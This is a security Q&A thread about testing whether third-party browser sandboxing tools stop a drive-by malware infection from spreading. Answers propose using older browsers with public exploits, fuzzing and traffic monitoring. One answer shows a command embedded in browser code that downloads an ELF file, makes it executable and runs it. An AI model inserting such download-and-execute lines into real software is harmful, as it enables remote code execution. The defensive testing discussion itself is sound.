1

I want to actually test the security of a sandboxed and hardened web browser after I implemented 3rd party security tools that claim to harden the browser.

So how can I or what approach should I follow to test the security of a web browser?

Edit: Specifically I want to test the sandbox capabilities of the 3rd party tools I installed. Do they really prohibit a malware from spreading all across the PC? Malware attack vector would be a drive-by download from a (simulated) infected website.

  • First, asking for tools recommendations are off-topic as they become obsolete quickly. Second, Kali linux is not a tool but a distribution which consists of many tools Third, OpenVAs is vulnerability checking tools by which you can check for the vulnerability of an application which may work. May be BeEF or a fuzzer is the tool you are looking for. – Muhammad Jul 11 '17 at 8:34
2

If you want to test the sandbox capabilities you need something like a real exploit which will try to do something an attacker would do. But I think it is not really possible for you to get a exploit for a current browser. So you have the following options:

  1. Test the sandbox with a custom executable by creating a executable which use the sandbox techniques and will try to execute a payload. The results could be comparable if your browser does not use sandbox techniques by itself.
  2. Test your sandbox with an older version of your browser and a public available exploit.
  3. Simulate an exploit attempt by introducing custom code in your browser like system("wget http://127.0.0.1/t.elf; chmod +x ./elf; ./elf"); If your browser is open source you could for example create a custom version of your browser and add the custom code in a code region where also a real vulnerability would be.
| improve this answer | |
0

This depends on what kind of testing you're looking to do. If the hardening you've done is designed to prevent the browser from leaking information inappropraitely then you could set something like Wireshark up on the machine you're running on to check the traffic sent from the browser.

If you're looking to test whether the browser can be crashed in an exploitable way, then that's a different matter. that would be kind of a complex process but something like American Fuzz Lop could be a starting point.

| improve this answer | |
  • I specified the question, as I want to test the sandbox capabilities specifically if it's possible to prevent a malware from spreading on the machine and gather unauthorized information from the users computer drive – user3200534 Jul 11 '17 at 9:21
  • The primary protection from malware via browsers (assuming you don't actually run/install the program) is the browser itself. Breaking Chrome/Firefox/IE security is quite an in-depth topic, and there aren't really "off-the-shelf" tools which do it. – Rory McCune Jul 11 '17 at 9:36
  • Yes. Imagine you visit a website X and they infect your computer through a browser vulnerability: I want to know if a sandbox application actually prevents the malware from spreading! I want to see what the attacker might see if he really infected the PC through the browser, but (!) the browser is sandboxed. – user3200534 Jul 11 '17 at 10:02

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.